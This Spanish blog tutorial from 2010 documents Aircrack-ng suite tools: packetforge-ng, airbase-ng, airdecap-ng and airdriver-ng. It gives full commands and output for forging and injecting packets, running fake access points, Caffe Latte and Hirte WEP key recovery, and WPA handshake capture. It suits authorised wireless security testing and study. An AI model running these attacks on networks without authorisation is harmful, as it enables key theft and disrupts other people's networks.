domingo, 4 de julio de 2010

Herramientas suite Aircrack-ng [ Parte 1 ]

Aircrack-ng viene acompañado de varias herramientas cuyo uso nos puede ser bastante util en mas de una ocasion, y aqui juntare y detallare cuales son esas aplicaciones y sus formas de uso.

Packetforge-ng

Download:
FLVMP43GP



El propósito de packetforge-ng es crear paquetes encriptados para poder inyectarlos con posterioridad. Podemos crear varios tipos de paquetes como “ARP requests”, UDP, ICMP o paquetes hechos a la medida. El uso más común es crear paquetes “ARP requests” para ser inyectados.

Para crear un paquete encriptado, es necesario tener un archivo PRGA (pseudo random genration algorithm). Este archivo lo usaremos para encriptar el paquete que vamos a crear. Este archivo se obtiene con aireplay-ng chopchop o con el ataque de fragmentación.

Opciones:
-p : Fijar palabra “frame control” (en hexadecimal)
-a : seleccionar el punto de acceso por su dirección MAC
-c : seleccionar por la dirección MAC de destino
-h : seleccionar por la dirección MAC de origen
-j : seleccionar el bit FromDS
-o : borrar el bit ToDS
-e : deshabilitar la encriptación WEP
-k : Fijar IP de destino [Puerto]
-l : Fijar IP de origen [Puerto]
-t ttl : Fijar hora
-w : Guardar el paquete es este archivo cap


Opciones de origen:
-r : leer paquete de este archivo
-y : leer PRGA de este archivo


Modos:
–arp : Crear paquete ARP (-0)
–udp : Crear paquete UDP (-1)
–icmp : Crear paquete ICMP (-2)
–custom : Crear paquete a la medida (-9)


Aquí ponemos un ejemplo de como generar un paquete “arp request”.

Primero hay que obtener un archivo xor (PRGA) con el ataque chopchop o con el ataque de fragmentación.

Despues usa un comando como el siguiente:

packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D -k 192.168.1.100 -l 192.168.1.1 -y fragment-0124-161129.xor -w arp-request

Donde:
-0 indica que quieres generar un paquete “arp request”
-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
-h 00:0F:B5:AB:CB:9D es la dirección MAC que quieres usar
-k 192.168.1.100 es la IP de destino. Por ejemplo en un paquete arp es la frase “Who has this IP” que quiere decir en castellano “Quien tiene esta IP”
-l 192.168.1.1 es la IP de origen. Por ejemplo en un paquete arp aparecerá la frase “Tell this IP”, que significa “Digo o tengo esta IP”
-y fragment-0124-161129.xor
-w arp-packet


Asumiendo que estás experimentando con tu propio punto de acceso, el paquete “arp request” generado con anterioridad puede desencriptarse con la clave que ya conoces. Por lo que para mirar el paquete que hemos creado podemos desencriptarlo:

Escribe “airdecap-ng -w arp-request”

El resultado es algo como esto:

Total number of packets read 1
Total number of WEP data packets 1
Total number of WPA data packets 0
Number of plaintext data packets 0
Number of decrypted WEP packets 1
Number of decrypted WPA packets 0

Para ver el paquete que acabamos de desencriptar , escribimos “tcpdump -n -vvv -e -s0 -r arp-request-dec”

El resultado será similar a:


reading from file arp-request-dec, link-type EN10MB (Ethernet)
18:09:27.743303 00:0f:b5:ab:cb:9d > Broadcast, ethertype ARP (0x0806), length 42: arp who-has 192.168.1.100 tell 192.168.1.1

Que es lo que esperábamos ver. Ahora podemos inyectar este paquete “arp request” con el siguiente comando: “aireplay-ng -2 -r arp-request ath0”.

El programa nos contestará:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ? y

Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.



Airbase-ng

Download:
FLVMP43GP


Airbase-ng es una utilidad “multi-propósito” dirigida a atacar a los clientes conectados a un Punto de Acceso (AP). Como es tan versatil y flexible, no es fácil realizar un resumen o sumario. De todos modos las funciones más importantes que se pueden realizar son:


  • Implementa el ataque a un cliente “Caffe Latte WEP”.
  • Implementa el ataque “Hirte WEP client attack”.
  • Habilita para capturar el handshake WPA/WP2.
  • Habilita para actuar como un Punto de Acceso “ad-hoc”
  • Habilita para actuar como un Punto de Acceso normal
  • Habilita para filtrar por SSID o dirección MAC del cliente
  • Habilita para manipular y reenviar paquetes
  • Habilita para encriptar los paquetes enviados y desendriptar los recibidos.


La idea principal de esta utilidad es que los clientes se podrían asociar a un AP falso (fake AP), y no pueden preveer que están accediendo al Punto de Acceso real.

Una interface (atX) se crea cuando airbase-ng se ejecuta. Esta se puede usar para recibir paquetes desencriptados o enviar paquetes encriptados.

Como los clientes reales probablemente enviaran “probe requests”, estos paquetes son importantes para hacer picar a un cliente hacía nuestro Punto de Acceso “softAP”. En este caso, el AP responderá a cualquier paquete “probe request” con el correspondiente “probe response”, el cual le dice al cliente que se encuentra autenticado al BSSID de airbase-ng. Hay que decir que esto podría distorsionar el funcionamiento correcto de otros APs que se encuentren en el mismo canal.

PELIGRO: airbase-ng puede muy fácilmente corromper y distorsionar el funcionamiento de los Puntos de Acceso de los alrededores. Por lo tanto, usa filtros para minimizar esta posibilidad. Actua siempre con responsabilidad y no impidas el funcionamiento de las redes que se encuentran alrededor de la tuya.


uso: airbase-ng

Opciones:
-a bssid : Fija la Dirección MAC del punto de acceso
-i iface : captura paquetes desde esta interface
-w WEP key : usa esta clave WEP para encriptar/desencriptar paquetes
-h MAC : dirección mac origen para el modo “MITM”
-f disallow : rechazar las direcciones MACs de los clientes especificados (por defecto: las acepta todas)
-W 0|1 : [no] fijar “WEP flag” en beacons 0|1 (por defecto: auto)
-q : silencio (no mostrar estadísticas)
-v : verbose (imprimir o mostrar mas mensajes) (opción larga --verbose)
-M : M-I-T-M (“hombre en el medio”) entre el cliente y bssids
-A : Modo Ad-Hoc (permite a otros clientes conectarse) (opción larga --ad-hoc)
-Y in|out|both : procesamiento de paquetes externos
-c channel : fija el número del canal en el que el AP se encuentra
-X : oculta ESSID (opción larga --hidden)
-s : forzar “shared key authentication”
-S : fijar longitud “shared key” (por defecto: 128)
-L : Ataque “Caffe-Latte” (opción larga --caffe-latte)
-N : Ataque “Hirte” (cfrag attack), crea un “arp request” para el cliente wep (opción larga –cfrag)
-x nbpps : número de paquetes por segundo (por defecto: 100)
-z type : fija el tipo de encriptación WPA1. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104
-Z type : lo mismo que -z, pero para WPA2
-V type : fake EAPOL 1=MD5 2=SHA1 3=auto

Opciones de filtro:

--bssid : BSSID a filtrar/usar (opción corta -b)
--bssids : leer una lista de BSSIDs desde un archivo (opción corta -B)
--client : dirección MAC del cliente a aceptar (opción corta -d)
--clients : leer una lista de direcciones MACs desde un archivo (opción corta -D)
--essid : especificar un ESSID (opción corta -e)
--essids : leer una lista de ESSIDs desde un archivo (opción corta -E)

Ayuda:

--help: Muestra una página parecida a esta con todas las opciones (opción corta -H)

-a BSSID Definición

Si no se especifica explicitamente un BSSID usando la opción ”-a ”, entonces se usa la dirección MAC actual de la interface especificada.
-i iface

Si especificas una interface con esta opción los paquetes son también capturados y procesados desde esta interface además de la “replay interface”.

-w WEP key

Si la encriptación usada es WEP, entonces el parámetro ”-w ” sirve para fijar la clave. Esto es suficiente para permitir a airbase-ng añadir todo el resto de parámetros por si mismo.

Si el “softAP” opera con encriptación WEP, el cliente puede escoger usar el sitema de autenticación abierta (open system authentication) o compartida (shared key authentication). Ambos métodos de autenticación están soportados por airbase-ng. Pero para conseguir un “keystream”, el usuario puede probar a forzar al cliente a usar “shared key authentication”. ”-s” fuerza una autenticación compartida (shared key auth.) y ”-S ” fija la longitud del preámbulo.

-h MAC

Esta es la dirección MAC origen para el ataque “man-in-the-middle” (hombre en el medio). También hay que especificar la opción ”-M”.
-f allow/disallow

Si no se incluye esta opción, por defecto se usa ”-f allow”. Lo que significa que los filtros MAC (-d y -D) definen que clientes se aceptan.

Usando la opción ”-f disallow” puede causar que airbase ignore los clientes especificados por los filtros.

-W WEP Flag

Esto fija la “WEP flag” o bandera del paquete baliza o “beacon”. Recuerda que los clientes solo conectaran a los APs que tengan las mismas opciones. Por ejemplo WEP a WEP, red abierta a red abierta.

La opción “auto” permite a airbase-ng fijar automáticamente la opción (bandera o flag) a partir del resto de opciones especificadas. Por ejemplo, si fijas una clave WEP con el parámetro -w, entonces la bandera (beacon flag) será fijada a WEP.

Otro uso de “auto” es permitir conectarse a los clientes que pueden ajustar automáticamente su tipo de conexión. Aunque, esto funciona en raras ocasiones.

En la práctica, es mejor fijar el valor adecuado según el tipo de red en la que estemos trabajando.

-M Ataque MITM

Esta opción todavía no está disponible. Es un ataque “hombre en el medio” (man-in-the-middle), es decir nos colocamos entre los clientes especificados y los BSSIDs.

-A Modo Ad-Hoc

Esto provoca que airbase-ng actue como un cliente ad-hoc en lugar de un punto de acceso normal.

En el modo ad-hoc airbase-ng también envía balizas o beacons, pero no necesita ninguna autenticación/asociación. Puede activarse usando ”-A”. El “soft AP” ajustará automáticamente todas las banderas y opciones necesarias para simular una tarjeta en modo ad-hoc y generará una dirección MAC, que se usará como AD-HOC MAC en lugar de el BSSID. Esta puede ser fijada con la opción ”-a ”. La dirección MAC se usará como mac origen, que puede ser cambiada con ”-h ”.

-Y Proceso Externo

La opción ”-Y” activa el modo de “proceso externo”. Esto crea una segunda interface “atX”, que se usa para reenviar/modificar/capturar o inyectar paquetes también. Esta interface hay que levantarla con ifconfig y una utilidad externa es necesaria para crear y utilizar esta interface.

La estructura del paquete es bastante simple: el encabezado ethernet (14 bytes) es ignorado y a continuación el frame ieee80211 es procesado por airbase-ng (para los paquetes entrantes) o antes de que los paquetes sean enviados (paquetes salientes). Este modo intercepta todos los paquetes de datos y circulan a través de una aplicación externa, que decide que es lo que hay que hacer con ellos. La dirección MAC e IP de la segunda interface tap no tienen importancia, como una tarjeta ethernet real los frames de esta interface se lanzan a todas partes.

Hay 3 argumentos para ”-Y”: “in”, “out” y “both”, que especifican la dirección de los frames que circulan a través de la aplicación externa. Obviamente “in” redirecciona solo los frames entrantes (a través del NIC wireless), mientras los frames salientes no se tocan. “out” hace todo lo contrario, solo circulan paquetes salientes y “both” envía en todas las direcciones a través de la segunda interface tap.

Hay una pequeño y simple utilidad que sirve de ejemplo para reenviar todos los frames a través de la segunda interface. La utilidad se denomina “replay.py” y se encuentra en la carpeta ”./test”. Está escrita en python, pero el lenguaje de programación no importa. Usa pcapy para leer los frames y scapy posibilita alterar/mostrar y reinyectar los frames. La utilidad simplemente reenvía todos los frames y muestra un corto resumen de los paquetes recividos. La variable “packet” contiene el paquete ieee80211 completo, que puede fácilmente ser diseccionado y modificado usando scapy.

Esto se puede comparar con los filtros de ettercap, pero es mucho más poderoso, ya que como un lenguaje real de programación puede ser usado para construir paquetes complejos. La desventaja de usar python es, que tendremos un pequeño retardo de alrededor de 100ms y la utilización de la cpu es mucho mayor en una red a alta velocidad, pero es perfecto para una demostración con solo unas pocas lineas de código.

-s Forzar Autenticación con clave compartida

Cuando lo especifiquemos, esto fuerza una autenticación para todos los clientes con clave compartida (shared key).

El “soft AP” enviará una reinyección “authentication method unsupported” a cualquier sistema abierto (open system) si se especifica la opción ”-s”.

-S Longitud preámbulo clave compartida

”-S ” fija la longitud del preámbulo, y puede ser cualquier número comprendido entre 16 a 1480. Por defecto se usa 128 bytes. Es el número de bytes usados en el preámbulo previo a la conexión. Como una etiqueta o “tag” puede contener un máximo de 255 bytes, cualquier valor superior a 255 crea varias etiquetas o “tags” hasta que se escriban todos los bytes especificados. Algunos clientes ignoran valores diferentes a los de 128 bytes, por lo que esta opción puede no funcionar siempre.

-L Ataque "Caffe Latte"

Airbase-ng tambien contiene el nuevo ataque “caffe-latte”, que está implementado también en aireplay-ng como ataque ”-6”. Puede ser usado con ”-L” o ”–caffe-latte”. Este ataque funciona especificamente contra los clientes, mientras están esperando por una petición arp dirigida a todos (broadcast arp request). Mira esta documentación en inglés para ver una explicación de lo que es gratuitous arp. El cliente contestará a la petición arp y enviará unos pocos bits con su MAC y dirección IP, con el valor correcto del ICV (crc32). La razón por la que este ataque funciona habitualmente en la práctica es, porqué al menos en windows se envían “gratuitous arps” despues de que una conexión se realiza y se concede una dirección ip estática, y si el dhcp falla windows asigna una IP del rango 169.254.X.X.

”-x ” fija el número de paquetes por segundo a enviar con el ataque caffe-latte. Actualmente, este ataque no se para, y envía continuamente peticiones arp. Airodump-ng es necesario para capturar las respuestas.

-N Ataque Hirte (Ataque de Fragmentación)

Este ataque escucha y espera por una petición ARP o paquete IP desde el cliente. Cuando se recibe uno, se extrae una pequeña cantidad de PRGA y se usa para crear un paquete de petición arp (ARP request) dirigido al cliente. Esta petición ARP se construye actualmente a partir de múltiplies fragmentos cuando son recividos, y el cliente responderá.

Este ataque funciona especialmente muy bien contra redes ad-hoc. También se puede usar contra clientes de “softAP” y clientes de AP normales.
Beacon Frames o Balizas

La baliza denominada en inglés “beacon frame” contiene el nombre del ESSID en caso de que se haya especificado uno. Si se fijan varios, el ESSID estará oculto en la “beacon frame” con longitud de 1. Si no se fija el ESSID, la “beacon frame” contendrá “default” como ESSID, pero se aceptarán todos los ESSIDs en las peticiones de asociación. Si el ESSID debería estar oculto en la baliza todo el tiempo (para un ESSID no especificado), se puede usar la opción ”-X”.
Manejando las tramas de control

Las tramas de control (en inglés “Control frames”) (ack/rts/cts) nunca son enviadas por el código, pero a veces las lee (el firmware debería manejar esto). Los paqutes y tramas de datos se pueden enviar siempre, y no se necesita autenticarse antes de la asociación o incluso antes de enviar tramas de datos. Los paquetes de datos pueden enviarse en todas las direcciones. Los clientes reales autenticados y asociados al softAP deberían enviar las respuestas correctas, pero airbase-ng no se preocupa de comprobar las propiedades de los clientes y simplemente permite a todos los clientes conectarse (teniendo en cuenta los filtros de ESSIDs y direcciones MACs especificados). Por lo tanto una autenticacion no puede fallar (excepto si se fuerza SKA), y tampoco puede fallar la asociación. El AP nunca enviará deautenticaciones o desasociaciones en modo de operación normal.

Ha sido desarrolllado de tal forma que se maximiza la compatibilidad y las oportunidades de conseguir que un cliente se conecte.
Filtros

Hay capacidades de filtrado variadas.

Para limitar los ESSIDs soportados, puedes especificar ”-e ” para añadir un ESSID a la lista de ESSIDs permitidos, o usar ”-E ” para leer una lista de ESSIDs permitidos (el archivo tiene que contener un ESSID por linea).

Lo mismo se puede hacer para las direcciones MACs de los clientes (usar un filtrado de MAC). ”-d ” añade una dirección MAC a la lista, ”-D ” añade todas las MACs del archivo a la lista (recuerda que tiene que haber una MAC por linea).

La lista de MACs puede ser usada para permitir solo acceder a los clientes en esa lista y bloquear a todos los otros (opción por defecto), o bloquear a los especificados en la lista y permitir el acceso al resto. Esto se controla con la opción ”-f allow” o ”-f disallow”. “allow” crea una lista “blanca” (activado por defecto en caso de no usar ”-f”), y “disallow” crea una lista “negra” (el segundo caso relatado con anterioridad).
Interface Tap

Cada vez que se ejecuta airbase, se crea una hinterface tap (atX). Para usarla, ejecuta “ifconfig atX up” donde X es el número actual de la interface.

Esta interface tiene usos variados:

Si se especifica una clave de encriptación con ”-w”, entonces los paquetes entrantes serán desencriptados.
Los paquetes enviados a esta interface serán transmitidos. Además, serán encriptados si se usa la opción ”-w”.

A continuación puedes ver unos ejemplos de uso. Solo necesitas una tarjeta wireless aunque en algunos ejemplos se usan dos tarjetas.


Simple

Usar “airbase-ng ” es suficiente para un AP sin ningún tipo de encriptación. Aceptará conexiones desde cualquier MAC para cada ESSID, ya que la autentication y la asociación es directa al BSSID.

Realmente no podrás hacer demasiado en esta situación. Aunque, podrás ver una lista de clientes que se encuentran conectados además del método de encriptación y los SSIDs.

Ataque Hirte en modo Punto de Acceso (AP)

Este ataque obtiene la clave wep de un cliente. Depende de recibir al menos un paquete de petición ARP o un paquete IP desde el cliente despues de que se asocie con el falso AP.

Escribe:

airbase-ng -c 9 -e teddy -N -W 1 rausb0
-c 9 especifica el canal
-e teddy filtra un SSID concreto
-N significa ataque Hirte
-W 1 fuerza a las “beacons” a especificar WEP
rausb0 es la interface wireless a usar


El sistema responderá:

18:57:54 Created tap interface at0
18:57:55 Client 00:0F:B5:AB:CB:9D associated (WEP) to ESSID: "teddy"

En otro terminal ejecutar:

airodump-ng -c 9 -d 00:06:62:F8:1E:2C -w cfrag wlan0

Donde:

-c 9 especifica el canal
-d 00:06:62:F8:1E:2C filtra los datos capturados a los del falso AP (esto es opcional)
-w especifica el nombre del archivo donde se guardarán los datos capturados
ath0 es la interface wireless para capturar datos


A continuación se puede ver que ocurre cuando airbase-ng ha recibido un paquete de un cliente y se ha iniciado satisfactoriamente el ataque:

CH 9 ][ Elapsed: 8 mins ][ 2008-03-20 19:06

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:06:62:F8:1E:2C 100 29 970 14398 33 9 54 WEP WEP teddy

BSSID STATION PWR Rate Lost Packets Probes

00:06:62:F8:1E:2C 00:0F:B5:AB:CB:9D 89 2-48 0 134362

Ahora puedes ejecutar aircrack-ng en otra ventana para obtener la clave wep.


Ataque "Hirte" en modo Ad-Hoc

Este ataque obtiene la clave wep de un cliente. Depende de recivir al menos una petición ARP o un paquete IP desde el cliente despues de que está asociado con el falso AP.

Escribe:

airbase-ng -c 9 -e teddy -N -W 1 -A rausb0

Donde:

-c 9 especifica el canal
-e teddy filtra ese SSID
-N especifica el ataque Hirte
-W 1 fuerza a las balizas o beacons a especificar la WEP
-A especifica el modo ad-hoc
rausb0 es la interface wireless a usar


El resto será lo mismo que en el modo AP.


Ataque "Caffe Latte Hirte" en modo Punto de Acceso

Este ataque obtiene la clave WEP de un cliente. Depende de recibir al menos una petición “gratutitous ARP” de un cliente despues de asociarse con el falso AP.

Escribe:

airbase-ng -c 9 -e teddy -L -W 1 rausb0

Donde:

-c 9 especifica el número del canal
-e teddy filtra un SSID concreto
-N significa ataque “Caffe Latte”
-W 1 fuerza a las “beacons” a especificar WEP
rausb0 es la interface wireless a usar


El resto es lo mismo que en el ataque Hirte.


Captura de clave compartida (Shared Key)

Este es un ejemplo de una captura de PRGA de un cliente asociado con clave compartida.

Escribe:

airbase-ng -c 9 -e teddy -s -W 1 wlan0

Donde:

-c 9 especifica el número de canal
-e teddy filtra un SSID concreto
-s fuerza autenticación con clave compartida
-W 1 fuerza a las “beacons” a especificar WEP
wlan0 es la interface wireless a usar


El sistema responderá:

15:08:31 Created tap interface at0
15:13:38 Got 140 bytes keystream: 00:0F:B5:88:AC:82
15:13:38 SKA from 00:0F:B5:88:AC:82
15:13:38 Client 00:0F:B5:88:AC:82 associated to ESSID: "teddy"


Las últimas tres lineas solo aparecen cuando el cliente se asocia con el falso AP.

En otra ventana o consola ejecuta:

airodump-ng -c 9 wlan0

Donde:

-c 9 especifica el número de canal
wlan0 es la interface wireless a usar


A continuación puedes ver el aspecto de una captura SKA satisfactoria. Date cuenta de este dato “140 bytes keystream: 00:C0:CA:19:F9:65” en la esquina superior-derecha:

CH 9 ][ Elapsed: 9 mins ][ 2008-03-12 15:13 ][ 140 bytes keystream: 00:C0:CA:19:F9:65

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:C0:CA:19:F9:65 87 92 5310 0 0 9 54 WEP WEP SKA teddy

BSSID STATION PWR Rate Lost Packets Probes

00:C0:CA:19:F9:65 00:0F:B5:88:AC:82 83 0- 1 0 4096 teddy


Captura de un Handshake WPA

Este es un ejemplo de como capturar el handshake WPA.

Escribe:

airbase-ng -c 9 -e teddy -z 2 rausb0

Donde:

-c 9 especifica el número de canal
-e teddy filtra un SSID concreto
-z 2 significa TKIP
rausb0 es la interface wireless a usar


La opción -z tendrá que ser modificada dependiendo del tipo de encriptación que creas que está usando el cliente. TKIP es lo típico y habitual para WPA.

El sistema responderá:

10:17:24 Created tap interface at0
10:22:13 Client 00:0F:B5:AB:CB:9D associated (WPA1;TKIP) to ESSID: "teddy"


La última linea solo aparece cuando el cliente se asocia.

En otra shell ejecuta:

airodump-ng -c 9 -d 00:C0:C6:94:F4:87 -w cfrag wlan0


-c 9 especifica el número del canal
-d 00:C0:C6:94:F4:87 filtra los datos capturados por el falso AP. Es la dirección MAC de la tarjeta ejecutando el falso AP. Esto es opcional.
-w especifica el nombre del archivo donde se guardarán los datos capturados
wlan0 es la interface wireless para capturar los datos


Cuando el cliente se conecta, verás el “WPA handshake: 00:C0:C6:94:F4:87” en la esquina superior-derecha de la pantalla:

CH 9 ][ Elapsed: 5 mins ][ 2008-03-21 10:26 ][ WPA handshake: 00:C0:C6:94:F4:87


BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:C0:C6:94:F4:87 100 70 1602 14 0 9 54 WPA TKIP PSK teddy

BSSID STATION PWR Rate Lost Packets Probes

00:C0:C6:94:F4:87 00:0F:B5:AB:CB:9D 86 2- 1 0 75


Ejecutando “aircrack-ng cfrag-01.cap” comprueba que lo capturado es un handshake WPA válido:

Opening cfrag-01.cap
Read 114392 packets.

# BSSID ESSID Encryption

1 00:C0:C6:94:F4:87 teddy WPA (1 handshake)


Captura de un Handshake WPA2

Capturar un handshake en WPA2 es básicamente idéntico al ejemplo anterior a través de WPA. La única diferencia es especificar -Z 4 (CCMP cipher) en lugar de -z 2.

Escribe:

airbase-ng -c 9 -e teddy -Z 4 rausb0

softAP

SOLO USUARIOS EXPERTOS: Esta funcionalidad requiere conocimientos extremadamente avanzados sobre linux y redes. No publiques preguntas en el foro acerca de esta sección. Si no puedes hacer funcionar esto por ti mismo entonces no deberías ni intentar usarlo!

Una nueva interface “atX” será creada, la cual actua como la “wired side” al AP. Para usar el AP, esta nueva interface debe levantarse con ifconfig y necesita una IP. La MAC asignada es automáticamente fijada al BSSID [por defecto la dirección MAC de la interface wireless]. Una vez que es asignada una IP y el cliente usa una IP estática de la misma subred, tendremos funcionando una conexión Ethernet entre el AP y el cliente. Algún daemon puede ser asignado a esa interface, por ejemplo un servidor dhcp o servidor dns. Además con “ip_forwarding” y una regla apropiada “iptable” para enmasacarar, el softAP actúa como un router wireless. Cualquier utilidad, que funcione en redes ethernet puede ser usada con esta interface.

Además de lo que se dice en las anteriores descripciones, airbase-ng envía 100 paquetes 100 veces para intentar incrementar la efectividad de este ataque.

¿Cómo funciona el ataque Hirte?

Este es un ataque a un cliente en el que se puede usar un paquete IP o un paquete ARP. A continuación se describe el ataque de forma detallada.

La idea principal es generar una petición ARP para enviarsela al cliente y que este responda.

Este ataque necesita un paquete ARP o un paquete IP desde el cliente. A partir de esto, tendremos que generar una petición ARP o “ARP request”. La petición ARP debe dirigirse a la IP (IP del cliente), colocandola en la posición del byte 33 y la dirección MAC deben ser todos ceros. Aunque en la práctica como dirección MAC podríamos poner cualquier valor.

La dirección IP de origen se encuentra en el paquete recibido del cliente en una posición conocida - posición 23 para paquetes ARP o 21 para IP -. Paquete ARP se presupone si el tamaño del mismo es de 68 o 86 bytes. Si no es así se presupone que se trata de un paquete IP.

Para poder enviar una petición ARP válida de vuelta al cliente, necesitamos mover la IP de origen a la posición 33. Por supuesto que no podemos simplemente mover los bytes, ya que sería un paquete inválido. Por lo tanto, usamos el concepto de “paquete fragmentado” para conseguir esto. La petición ARP se envía al cliente en dos fragmentos. El primer fragmento se construye seleccionando la longitud que nos queda al mover la dirección IP de origen a la posición 33. El segundo fragmento es el paquete original recivido desde el cliente.

En el caso de que se trate de un paquete IP, la técnica usada es similar. Aunque es más limitada la cantidad de PRGA disponible, por lo que habrá que construir tres fragmentos a partir del paquete original.

En todos los casos, se usa “bit flipping” para asegurarnos que el CRC es correcto. Además, “bit flipping” se usa para cerciorarnos que la dirección MAC de origen de un ARP en el paquete fragmentado no es de multiredifusión.
Problemas de uso


Limitaciones del Driver

Algunos drivers como el rtl8187 no capturan paquetes por si mismos. La implicación de esto es que el softAP no se mostrará en airodump-ng. Puedes solventar este problema usando dos tarjetas wireless, una para inyectar y la otra para capturar.

El driver madwifi-ng actualmente no soporta los ataques Caffe-Latte o Hirte. Este driver no sincroniza de forma correcta las velocidades con el cliente y por lo tanto el cliente nunca recive los paquetes.

Mensaje de error "Broken SKA"

Recives el mensaje “Broken SKA: (expected: ??, got ?? bytes)” o similar. Usando la opción ”-S” con valores diferentes a 128, algunos clientes fallan. Este mensaje indica que el número de bytes actualmente recibidos es diferente al número de bytes solicitados. Prueba a no usar esta opción o utiliza diferentes valores para el parámetro ”-S” y mira si se elimina el error.


Ejemplos de Comandos

Como esta versión no se ha publicado oficialmente, la documentación de aireplay-ng no refleja las nuevas funciones relacionadas con airbase-ng. Por eso esta sección contiene alguna información sobre esto.

”-D” es una nueva opción que se ha añadido a aireplay-ng. Por defecto, aireplay-ng escucha las beacons o balizas de un AP especificado y dá fallo si no recibe ninguna beacon. La opción ”-D” desactva esta funcionalidad.


aireplay-ng -6 (Ataque "Cafe Latte")

Ejemplo: aireplay-ng -6 -h 00:0E:D2:8D:7D:0A -D rausb0


aireplay-ng -7 (Ataque Hirte)

Ejemplo: aireplay-ng -7 -h 00:0E:D2:8D:7D:0A -D rausb0



Airdecap-ng



Descripción

Con airdecap-ng puedes desencriptar archivos capturados que tengan encriptación WEP/WPA/WPA2. Tambien puede ser usado para ver la cabecera de una captura wireless sin encriptación.
Uso

airdecap-ng [opciones]

Opción Param. Descripción

-l no elimina la cabecera de 802.11
-b bssid dirección MAC del punto de acceso
-k pmk WPA/WPA2 “Pairwise Master Key” en hexadecimal
-e essid Nombre de la red
-p pass Clave WPA/WPA2
-w key Clave WEP en hexadecimal


Ejemplos de uso

El siguiente comando elimina las cabeceras wireless de una captura de una red sin encriptación:

airdecap-ng -b 00:09:5B:10:BC:5A red-abierta.cap

El siguiente comando desencripta un archivo con encriptación WEP usando la clave hexadecimal:

airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap

El siguiente comando desencripta un archivo con encriptación WPA/WPA2 usando la palabra o “passphrase”:

airdecap-ng -e 'the ssid' -p passphrase tkip.cap

Recomendaciones de uso

Para ESSIDs que contengan espacios, escribe el ESSID entre comillas: 'este contiene espacios'.


Airdriver-ng

Descripción

Airdriver-ng es un “script” que proporciona información acerca de los drivers wireless de tu sistema, con la posibilidad de cargar o descargar los drivers. Además, airdriver-ng permite instalar y desinstalar drivers completamente con los parches requeridos para modo monitor e inyección. Adicionalmente tambien tiene algunas otras funciones.

A continuación puedes ver una lista completa de los comandos soportados por el “script”:


No Command: Ejecutando airdriver-ng sin ningún comando nos mostrará el número del kernel que estamos ejecutando y los comandos válidos.

Supported: Este comando muestra la lista de drivers wireless que el script soporta. Si el driver que tu quieres no aparece listado el script no lo soporta. Ten en cuenta que puede que los drivers no los tengas instalados en tu sistema.

Kernel: Este comando muestra los drivers wireless que han sido compilados diréctamente dentro del kernel por si mismo.

Installed: Este comando muestra los drivers wireless instalados actualmente en tu sistema. Estos no son los drivers cargados actualmente en tu sistema.

Loaded: Este comando muestra los drivers wireless que actualmente están cargados en memoria.

Load: Este comando carga el driver especificado en la memoria. El número del driver se obtiene de la salida del comando “installed”.

Unload: Este comando descarga el driver especificado de la memoria. El número del driver se obtiene de la salida del comando “loaded”.

Install: Este comando instala el driver especificado en tu sistema y lo carga en la memoria. El número del driver se obtiene de la salida del comando “loaded”. Todos los pasos requeridos se llevaran con cuidado, incluyendo obtener los “driver sources”, parches de inyección, compilar y cargar el módulo en la memoria. Este es el modo más simple y fácil de asegurarte de que tu driver está bien instalado para poder inyectar.

Remove: Este comando borra el driver especificado de tu sistema. Se borrará el módulo de la memoria y todo el arbol correspondiente del disco duro.

Details: Este comando muestra información detallada acerca del módulo. El número del driver se obtiene de la salida del comando “installed. Es especialmente útil para confirmar que estamos usando la versión correcta y ver cuando fue instalada. La fecha de instalación se localiza despues del nombre del archivo. Esto se puede usar para comprobar que estamos utilizando el módulo más reciente.


Detect: Este comando se usa para determinar que tarjetas wireless están conectadas al PC.


No hay un método preciso para hacer estas comprobaciones. El scripr airdriver-ng solo está disponible para sistemas operativos linux.
Uso

Uso: airdriver-ng [número de driver]

Donde los comandos válidos son los siguientes:

supported - muestra todos los drivers soportados
kernel - muestra todos los drivers dentro del kernel
installed - muestra todos los drivers instalados
loaded - muestra todos los drivers cargados
load - carga un driver
unload - descarga un driver
install - instala un driver
remove - borra un driver
details - muestra los detalles de un driver
detect - detecta tarjetas wireless


Ejemplos de uso

A continuación puedes ver ejemplos de uso para cada comando.
Comando supported

Escribe:

airdriver-ng supported

El sistema responderá:

Following stacks are supported:
0. IEEE80211
1. IEEE80211 Softmac
2. mac80211
Following drivers are supported:
0. ACX100/111 - IEEE80211
1. Broadcom 4300 - IEEE80211
2. HostAP - IEEE80211
3. Intel Pro Wireless 2100 B - IEEE80211
4. Intel Pro Wireless 2200 B/G - IEEE80211
5. Intel Pro Wireless 3945 A/B/G - IEEE80211
6. Madwifi[-ng] - IEEE80211
7. Prism54 - IEEE80211
8. Realtek rtl8180 - custom
9. Realtek rtl8187 - custom
10. Ralink rt2500 - IEEE80211 Softmac
11. Ralink rt2570 - IEEE80211 Softmac
12. Ralink rt61 - IEEE80211 Softmac
13. Ralink rt73 - IEEE80211 Softmac
14. WLAN-NG - IEEE80211
15. ZyDAS 1211 - IEEE80211 Softmac
16. ZyDAS 1211rw - IEEE80211 Softmac
17. Intel Pro Wireless 3945 A/B/G - mac80211
18. Intel Pro Wireless 3945 A/B/G - raw mode - mac80211
19. NDIS Wrapper - custom


Presta atención al número delante de cada driver. Estos son los números que necesitamos para el comando “install” e instalar el correspondiente driver.
Comando kernel

Escribe:

airdriver-ng kernel

El sistema responderá:

Found following stacks in the Kernel:
Found following drivers in the Kernel:


